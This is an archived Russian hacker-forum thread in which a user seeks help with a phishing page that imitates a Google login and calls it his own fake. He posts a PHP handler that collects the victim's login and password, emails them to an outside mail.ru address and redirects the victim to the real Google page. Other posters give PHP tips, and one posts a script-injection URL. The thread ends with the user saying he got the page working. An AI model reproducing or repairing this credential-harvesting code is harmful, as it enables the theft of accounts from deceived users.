Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Ссылка + Форма [Решено]

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Ссылка + Форма [Решено]
Имя
Сообщение << Старые топики   Новые топики >>
Ссылка + Форма [Решено] - 2010-08-30 03:41:13.500000   
E_bosh

Сообщений: 173
Оценки: 0
Присоединился: 2010-06-09 00:12:19.610000
Всем привет. Нужна помощь !

Есть чужой фейк: http://mail-gooogle.xp3.biz/accounts/Service-Login/?account=6666623

Если что то менять после знака равно "=" то это будет видно в форме

Я пробывал <?php echo $_POST['login']; ?> это не помогло.

Подскажите как сделать тоже самое, хотябы направьте.

С ув. Евгений
Post #: 1
RE: Ссылка + Форма - 2010-08-30 05:00:07.423333   
arsenii

Сообщений: 57
Оценки: 0
Присоединился: 2010-04-16 16:07:39.776666
http://mail-gooogle.xp3.biz/accounts/Service-Login/?account=%3Cscript%3Ealert%28document.write%29%3C/script%3E
Post #: 2
RE: Ссылка + Форма - 2010-08-30 13:55:52.180000   
E_bosh

Сообщений: 173
Оценки: 0
Присоединился: 2010-06-09 00:12:19.610000

quote:

ORIGINAL: arsenii

http://mail-gooogle.xp3.biz/accounts/Service-Login/?account=%3Cscript%3Ealert%28document.write%29%3C/script%3E


тоесть вы предлагаете это сделать на JS, можно скрипт ?
Post #: 3
RE: Ссылка + Форма - 2010-08-30 15:08:48.710000   
Papa James

Сообщений: 438
Оценки: 0
Присоединился: 2009-12-07 13:36:18.370000
Ты у себя на сайте хочешь сделать?
<?php echo $_POST['login']; ?> - если передаешь постом
<?php echo $_GET['login']; ?> - гетом
<?php echo $_REQUEST['login']; ?> - похер чем
Post #: 4
RE: Ссылка + Форма - 2010-08-30 15:12:06.763333   
E_bosh

Сообщений: 173
Оценки: 0
Присоединился: 2010-06-09 00:12:19.610000
quote:

ORIGINAL: Papa James

Ты у себя на сайте хочешь сделать?
&lt;?php echo $_POST['login']; ?&gt; - если передаешь постом
&lt;?php echo $_GET['login']; ?&gt; - гетом
&lt;?php echo $_REQUEST['login']; ?&gt; - похер чем



СПАСИБО БОЛЬШОЕ, метод get меня выручил
Post #: 5
RE: Ссылка + Форма - 2010-08-30 16:36:01.993333   
E_bosh

Сообщений: 173
Оценки: 0
Присоединился: 2010-06-09 00:12:19.610000
http://mailgooglesecurity.com/?account=ссылка@gmail.com

это мой фейк

мой файл action.php куда идут get данные

quote:

&lt;?PHP
$login = $_GET["account"];
$passwd = $_GET["password"];

$from = "admin@gmail.com";
$to = "tips@mail.ru";

$subj = " Пароль от Вконтакте";
$body = " Логин: $login \n Пароль: $passwd";



$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";
$from=convert_cyr_string($from,"w","k");
$to=convert_cyr_string($to,"w","k");
$subj=convert_cyr_string($subj,"w","k");
$body=convert_cyr_string($body,"w","k");
mail($to,$subj,$body,$from);

echo "&lt;html&gt;&lt;head&gt;&lt;META HTTP-EQUIV='Refresh' content ='0; URL=https://www.google.com/accounts/ServiceLogin?&account=$login&password=$passwd'&gt;&lt;/head&gt;&lt;/html&gt;"; }

?&gt;


Скажите плиз, в чем ошибка ?
Post #: 6
RE: Ссылка + Форма - 2010-08-31 11:41:29.693333   
Papa James

Сообщений: 438
Оценки: 0
Присоединился: 2009-12-07 13:36:18.370000
В том, что в гугле не дураки сидят )
Думаешь, там такая простая авторизация? Наивный )
Post #: 7
RE: Ссылка + Форма - 2010-09-04 02:05:41.390000   
E_bosh

Сообщений: 173
Оценки: 0
Присоединился: 2010-06-09 00:12:19.610000

quote:

ORIGINAL: Papa James

В том, что в гугле не дураки сидят )
Думаешь, там такая простая авторизация? Наивный )


блин, ну есть же способ ?
Post #: 8
RE: Ссылка + Форма - 2010-09-05 16:29:05.910000   
E_bosh

Сообщений: 173
Оценки: 0
Присоединился: 2010-06-09 00:12:19.610000
люди…ауу =(
Post #: 9
RE: Ссылка + Форма - 2010-09-05 18:35:13.556666   
E_bosh

Сообщений: 173
Оценки: 0
Присоединился: 2010-06-09 00:12:19.610000
Проблема решена

Оказывается надо было отдавать данные GETом а принимать POSTом
Post #: 10
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Ссылка + Форма [Решено]







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.